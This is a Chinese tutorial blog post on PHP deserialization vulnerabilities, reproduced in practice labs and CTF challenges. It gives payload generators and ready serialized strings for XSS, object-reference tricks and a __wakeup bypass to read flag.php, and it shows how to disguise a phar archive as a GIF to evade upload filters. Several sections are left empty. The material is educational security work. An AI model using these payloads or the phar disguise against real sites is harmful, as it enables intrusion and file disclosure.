[反序列化篇]史上最全PHP反序列化漏洞实例复现姿势详解(补充ing)

0x01

实验环境

靶场:pikachu+LKWA

平台:bugku+攻防世界+0CTF+南邮ctf+其他

环境:win10+VPS(ubuntu)+Docker

工具:Burp+MantraPortable

(注:若有人需要以上靶场或工具,可以进群自取.群号:456396901)

预备知识

Session反序列化漏洞

phar://协议

phar文件

简单回顾

对上一篇博客做一些补充:
所谓序列化(serialize),即把一个对象变成易存储的字符串,比如下面是一个对象:

class OWL{
    public $aaa="bbb";
}
$o=new OWL(); //创建一个对象
serialize($o); //把这个对象进行序列化
# 序列化后:
O:1:"S":1:{s:3:"aaa";s:3:"bbb";}
        O:对象object
        1:对象名称长度为1个字符
        S:对象名称
        1:对象属性个数为1(public)
        s:数据类型
        3:变量名称长度
        aaa:变量名称
        s:数据类型
        3:变量值长度
        bbb:变量值

与它相对应的反序列化则是把被序列化后的字符串还原为之前的对象.

0x02

1.php反序列化漏洞(Pikachu)

靶场:Pikachu

在这里插入图片描述
贴上unser.php的源码:

class S{
    var $test = "pikachu";
    function __construct(){   //类S的魔术方法被__construct()重写了
        echo $this->test;     //现在的作用是直接输出test的值
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

审计上面的源码可以知道:

  • 类S的魔术方法被__construct()重写,直接输出test的值
  • 以post的方式传参给$o,然后在赋值给$unser
  • @表示不再有回显
  • 若赋值成功, 即将$s反序列化, 并作为p标签返回到网页中

解题思路:

这里要输出$s的反序列化后的值,且再无任何过滤和限制,那么我们如果提交一个序列化后的参数,则网页会给我们返回序列化前的参数(利用点),一般涉及浏览器我也只知道XSS了,所以在这里构造一个序列化后的xss payload,那unser.php反序列化后,正好会触发我们提交的payload,即可利用成功.

下面我们开始利用,先要构造一个序列化后的payload:

<?php
// 注意
//这里需要满足与目标后端的类名一致
//因为这样目标后端反序列化后的payload才是我们想利用的
class S{
    var $test = "<script>alert('0wl')</script>";
}
echo '<br>';
$s = new S();
echo serialize($s);
?>

成功得到payload:

在这里插入图片描述

#payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('0wl')</script>";}

成功弹窗:

在这里插入图片描述

2.PHAR Deserialization(LKWA)

3.Double-5(安洵杯)

4.Jarvis oj

源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

5.未命名1(GCTF)

源码:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>

6.Web php unserialize (攻防世界)

7.unserialize3(攻防世界)

8.未命名2(南邮CTF)

<?php
class just4fun { //定义了一个类
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass); //进行反序列化处理

    if ($o) {
        $o->secret = "*"; 
        if ($o->secret === $o->enter) 
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

因为不知道 * 代表的是什么,所以用指针来直接让它们的属性相同。

<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret; //这里的a=&b 即代表将b的指针赋值给a 无论b的值怎么变 a始终等于b
echo serialize($o);
?>

自己在机子上执行即可,然后得到序列化字符串:

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

然后将此作为pass的参数, 以GET方式提交即可.

9.piapiapia(0CTF 2016)

10.phar反序列化漏洞

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行出错:

在这里插入图片描述

意思是让我们去更改php的配置文件php.ini,并将phar.readonly选项设置为Off.

但是,我在我的电脑上怎么找也没有找到php.ini这个文件(又是一玄学问题),可是也不能因为这就阻挡我咸鱼翻身的梦想,于是只好转移战场了

操作环境:阿里云VPS+Ubuntu

可又都得从新配置环境. . . . . .

# vim /etc/php/7.2/cli/php.ini

在这里插入图片描述

再次执行成功:

在这里插入图片描述

通过开篇对phar://协议的了解, phar 文件必须以__HALT_COMPILER();?>来结尾,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

因此这里我们构造一个带有图片文件头部的 phar 文件。

<?php
    class TestObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o->data='hello L1n!';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行成功:

在这里插入图片描述

现在来尝试以反序列化的方式获取文件内容:

<?php
include('phar://phar.jpg');
class TestObject {
    function __destruct()
    {
        echo $this->data;
    }
}
?>

执行结果:

在这里插入图片描述

从这里我们可以看出,phar://协议成功地触发了魔术方法__destruct()获取到了文件phar.jpg的内容.至于原理,由于涉及到了php的底层知识(一般底层都复杂),我将在后续学习,毕竟现在的主要目的是说明phar://协议在反序列化中也是有一席之地的,所以这无疑又给我们增加了一个绕过上传检测的姿势!

11.未命名3

<?php
class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
        if(!empty($this->file)) {
            if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
            show_source(dirname (__FILE__).'/'.$this ->file);
        else{
            die('Wrong filename.');
        }
    }  
    function __wakeup()
    { 
        $this-> file='index.php'; 
    } 
    public function __toString()
    {
        return '' ;
    }
}     
    if (!isset($_GET['file'])) { 
        show_source('index.php'); 
    } 
    else { 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); 
    } 
?>   #<!--key in flag.php-->

解题思路:

序列化字符串的结构已经在上一篇博客说过了,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

所以这里我们通过改写序列化字符串中表示属性个数的数字,使其比真实值大,就可以绕过__wakeup()函数了.

poc(来源于互联网)

<?php
class SoFun{ 
    protected $file='flag.php';
}  
$poc = new SoFun;  
echo serialize($poc);
?>

将输出的结果表示属性个数的数字加1

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

0x03

2020/15/04
今晚的到这里就结束了,没想到这会儿已经是凌晨四点多了,原来我这一坐一起就过去这么长时间了!
由于我习惯性得用Typora在本地写好后在发出去,所以比较耗时间,剩下那些未写完的我后续会补上的!
先去睡觉了, 早安!

[参考文章]
安全客
从一道ctf看php反序列化漏洞的应用场景
天融信阿尔法实验室

0wl
原创文章 31 获赞 12 访问量 1591

猜你喜欢

转载自blog.csdn.net/qq_43668710/article/details/105525996